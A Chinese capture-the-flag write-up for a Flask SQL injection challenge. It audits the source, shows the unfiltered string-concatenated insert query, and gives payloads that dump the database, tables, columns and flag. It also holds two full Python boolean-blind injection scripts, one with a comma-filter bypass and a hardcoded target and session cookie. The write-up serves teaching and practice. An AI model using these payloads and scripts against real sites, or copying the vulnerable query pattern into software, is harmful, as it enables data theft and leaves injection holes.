攻防世界 WEB Web_python_flask_sql_injection

没啥好说的,题目已经把几个关键点给出来了,flask,sql注入,还给了源码
那么就是源码审计,这题sql注入的点属实是有点多,普通的也有,难的也有,也难怪他是个九分题
干就完了,下载源码,第一个注入点是routes.py里面的index路由项

res = mysql.Add("post", ['NULL', "'%s'" % form.post.data,
                                 "'%s'" % current_user.id, "'%s'" % now()])

直接了Add操作,那么这个函数的原型在哪呢,打开pycharm,查找他的原型
发现在others里

 def Add(self, tablename, values):
        sql = "insert into " + tablename + " "
        sql += "values ("
        sql += "".join(i + "," for i in values)[:-1]
        sql += ")"
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

是的,你没有看错,没有任何过滤,他就把sql语句传进数据库了,从调用链来看应该是从__init__.py里面的mysql对象直接调用
routes.py然后再到others.py,也就是这条分链上说没有任何的过滤机制
对照原型,tablename是post,values就是我们[‘NULL’, “’%s’” % form.post.data,"’%s’" % current_user.id, “’%s’” % now()]
其中我们可控的是%form.post.data,是由我们前端post过去的
那么post.data是哪里来的呢,我们在forms.py里面找到了PostForm类,结合之前的东西,我们可以猜出,这就是主页里的留言板

class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')

总的逻辑都走完了,留言板这块是一点过滤都没有,这也就是最简单的一块,随便注
下面我们要找的是回显逻辑
current_user调用followed_posts方法,找原型,定位到models.py里的

def followed_posts(self):
    followedid = mysql.All(
        'followers', {"follower_id": self.id}, ['followed_id'])
    tmp = ""
    for i in followedid:
        tmp += str(i[0]) + ","
    followed = mysql.Sel('post', {
                         "user_id": "(%s)" % tmp[:-1]} if tmp[:-1] != "" else {"user_id": "(-1)"}, where_symbols="in")
    own = mysql.Sel('post', {"user_id": self.id}, order=["id desc"])
    posts = mysql.Unionall([followed, own])
    return posts

全是others里面的函数,逻辑也不复杂,大家自己慢慢看吧,那么就直接给payload分析一下

a','1','2021-12-12'),(Null,(select database()),'1','2021-12-12')#

最后的insert语句被拼接成了
insert into post values(NULL,‘a’,‘1’,‘2021-12-12’),(NULL,(select database()),‘1’,‘2021-12-12’)#
回显flask数据库被爆出来了,那后面的事情不是轻飘飘吗,一直换payload,不就得了?没啥好说的,组合拳
先爆表名: a','1','2021-12-12'),(Null,(select group_concat(table_name) from information_schema.tables where table_schema = 'flask'),'1','2021-12-12')#
回显里有flag,表名已知,爆列名

 a','1','2021-12-12'),(Null,(select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag'),'1','2021-12-12')#

拿flag:

a','1','2021-12-12'),(Null,(select flag from flag),'1','2021-12-12')#

后面几个点我是看了这位大佬的文章,https://blog.csdn.net/weixin_44604541/article/details/109025678
果然大佬的思路就是广,都是布尔盲注,根据页面回显来判断是否是正确的,对于buuctf这样的靶场很有可能就跑不了,好在这里是攻防世界
简单说下思路吧
1.register页面里的email会去数据库里查询,根据存在和不存在的回显进行布尔盲注。
逻辑也不复杂,利用点在forms.py里的RegisterForm类里的validate_email,因为它完全没有过滤
(需要改的地方是url和邮箱地址,我注册的时候是以qq.com结尾的,视情况而定):

import requests
from bs4 import BeautifulSoup

url = "http://111.200.241.244:55767/register"

r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")

notice = "Please use a different email address."
result = ""

database = "(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x666c616161616167)"
data = "(SELECT/**/GROUP_CONCAT(flag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flag)"


for i in range(1,100):
    for j in range(32,127):
        payload = "test'/**/or/**/ascii(substr("+  data +",%d,1))=%d#/**/@qq.com" % (i,j)
        post_data = {
            'csrf_token': token,
            'username': 'a',
            'email':payload,
            'password':'a',
            'password2':'a',
            'submit':'Register'
        }
        r = requests.post(url,data=post_data)
        soup = BeautifulSoup(r.text,"html5lib")
        token = soup.find_all(id='csrf_token')[0].get("value")
        if notice in r.text:
            result += chr(j)
            print(result)
            break

2.edit_profile函数,利用点同样是valid_note函数,只不过多了个过滤函数,但是还是可以绕过的,具体的绕过地方在payload里substring那块
脚本需要改的地方,url,自己的cookie(edit页面需要先登录),post里面的username
需要说的是爆破有风险,且爆且珍惜,连接数超标报错纯属正常

import requests
import re

url = "http://111.200.241.244:55767/edit_profile"
cookie = {"session": ".eJzNlluPozYcxb9Kled5AAO5rNSHpBBENDZKYsLa1WrFbQCDM6OZzEJYzXfvIaPZbjNV1UrdqonIxYD998_nHPN1krb3WfM0-fB1MpsWVp6bKUkXTuLkKX5ZlpOTZGrN7bm1KHIjM5PF3E7SWZYRKydOPp3d3WWFnRj5NB_7qJKnavz-KZ18mLBBtpTsGhoHZ6EaU_BDI9S6pooOLN6eBRdD6G5tOrStdFeKxp4TurtKqFyJIRikG5jSFZbUUkm-q6i_JXL588-Tl5tJVdRldZp8IDeT4_0xK74NKvarNv24Mor9qk79hUq61xseHosv3y4KfWoJte1C3pxpTDuqKsXiqKdqUzESEeoG55CLjupgYIRVlEsV-p7JuGwlr1o6UEdq2kt_hxmtKqrKXm5fBzo9JsenJDvV90dg_fUTmubZLLWNxYKYmUHmmVOYhCSzYmoQssBHas2yxJxm88RxpkUxLyxrcZeZeZ6nRkLmZvGO7I-s_42seU12762D7b4r9_vViu9X0d6Lym2zDvfnVcjNrHpHWaolRtgSwds6dD2LDutW8E0tBllT30PlDGu9VkJ7RGjMgngO1RLVBH3o5q3U24G5AWbTmDjOVC1J-OeUr5WnBZRTWlIJm5ItobxtQ74cZOxZUJ4jVdBJ37MEAa_B61ARFIY2LRzqHhrJcw1WGpVDmZFF40PLyteR6-PD8-ky5KveVInuqcW0d2JaNuEvhiFIZNzGmzrk5Ym5B4VlOEsd2AICn7x8upncP5_eOkny_PG7dd00jFcNG6rx5jNT2YCOe6GqJvTXNYgObKBo9wjVcJbv2WEcgRzecAojW0fwXS05KA6rWro7BdcYDPOlfgCCDYhW6kKUR73gURe6TT-SZbh-nF-i75-PqG1xed38ESwwNWHsQXg7hUIMCAhi8s4slopyVjNV4dhoEIEAPRLG1IRIHeZvUXRjh25mUwVOXBCpSotxz5BvYPNvw1A36zFEw2JxEnD_CJURr78d2XBxYirqmQvtopvQrVD3y801So7qYqaEimwxZGcI7ExRkYgRQDyzpTo0sMhZup5BYyzxsAW-9SWgsPCddKkRIrAA1majjWKEVbzWQGUCWYe17FmM86OAIXBIy0GJFko3xUDN71GaVxSZj-WIA8L0oaKuZ9N4pxmRrRg2NdggNA-aEphFrSFPtMUbDSM4lAc24xvEZ9WG_gHtBy2GtR4Nxd5TlCoahI5MEQcn6bKG1oZBSWDexsEg4u0JJUOq3kUVFJ2AIrT5VJfH5PT8WPyu8Uut8baHQXvUSzDnamSKOiE1OlrKYK4AkwCKAI_hoCA5U6jMZm4Gjo1BR9Mr6oA1JBp0TOWN9AXO5S0b2hqegckjm_Il1k0Q6jMd8syR3OvgmZcxR-8MhOI0WaRzc2aZRULSbDpGpJklqZmlyTTNDCtZkLuEEHM-K-5yyyZTY-EYC0KM6eJdjv7IhHrLUeM6Rw9-1Qbr3UMaH4bAXQ63xkOV1vMzdZdO4LF7ETtKxv1TagVlSuxSHDcPqX7Cb1Fm5KBS4jSBv6mSuP-Sf9yWUi_O439c836nQ6fdv34s_1YGq2XH3E2F3IVXG0Nq5JJa1czFfuNSRMESWQvRcw-Z1oxR0Y-GDP3IZGrVMLKrhV4jXqRGdJhjxIirDP6rKP0_-d-4vK6z1G2ccYOWGhXyrMeIFoK9w6OSRf2oYzEehUiAtk2FQFcS53A9EUMJB62QsSVBH6hyjc1KGJTDhct3KfDPN6jrFBjNhz7L4lg81U-fL0-Mn_8zH53vnx8_5zVYHnPIzHj5DcIvbvQ.YT3Avg.EktFRcRzwnBzPB8QxySXl_sSqNQ"}
regexp = r'value="(.*)"'  # 正则表达式 , 用于捕获所有 value 字段的值


# 获取 csrf_token
def get_csrf_token():
    # 发送 GET 请求
    response = requests.get(url, cookies=cookie)
    # 获取 HTTP 响应数据包
    res = response.text
    #print(res)
    # 进行正则匹配 , 发现返回列表中第一个 value 键值对就是 csrf_token 的值 , 获取它
    csrf_token = re.findall(regexp, res)[0]
    print(csrf_token)
    return csrf_token


# 发送修改 profile 的 post 数据包
def post_profile():
    result = ""
    # 调用 get_csrf_token 函数 , 得到 csrf_token 数据包
    csrf_token = get_csrf_token()
    for i in range(1, 43):
        # 猜测版本信息由可显字符组成( 31 < ASCII < 127 )
        for j in range(32, 127):
            # 具体的 Payload , 用户可自行选择
            # 1. 爆出当前数据库( flask )
            # datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select database()) from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
            # 2. 爆出含有 flag 的表( flag )
            # datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema = 'flask') from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
            # 3. 爆出含有 flag 表中的字段 ( flag )
            # datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag') from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
            # 4. 爆出 flag 值 ( flag ) , 建议将 i 的范围修改为 range(1,43)
            # 正则过滤了逗号 , 我们可以使用 substring(a from b) 这种格式取代 mid() 函数 , 从而绕过限制 .
            datas = {"csrf_token": csrf_token, "username": "test",
                     "note": "1' and (select 1=(ascii(substring((select flag from flag) from " + str(i) + "))=" + str(
                         j) + ")) and '1'='1", "submit": "submit"}
            response = requests.post(url, data=datas, cookies=cookie,timeout=5)
            res = response.text
            # 进行正则匹配 , 如果这里 select 1=payload 返回 1 时 , 返回数据包中的 note 字段就会显示为 1 , 反之为 0
            # 经过正则匹配 , 发现返回列表中第三个 value 键值对就是 note 的值 , 获取它
            test = re.findall(regexp, res)[2]
            print(test)
            # 如果发现匹配的内容 , 则返回该ASCII编码对应的字符 , 并且跳出本次循环
            if (test == str(1)):
                result += chr(j)
                print(result)
                break


if __name__ == '__main__':
    post_profile()

参考视频链接:https://www.bilibili.com/video/BV16a411r7Ph/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值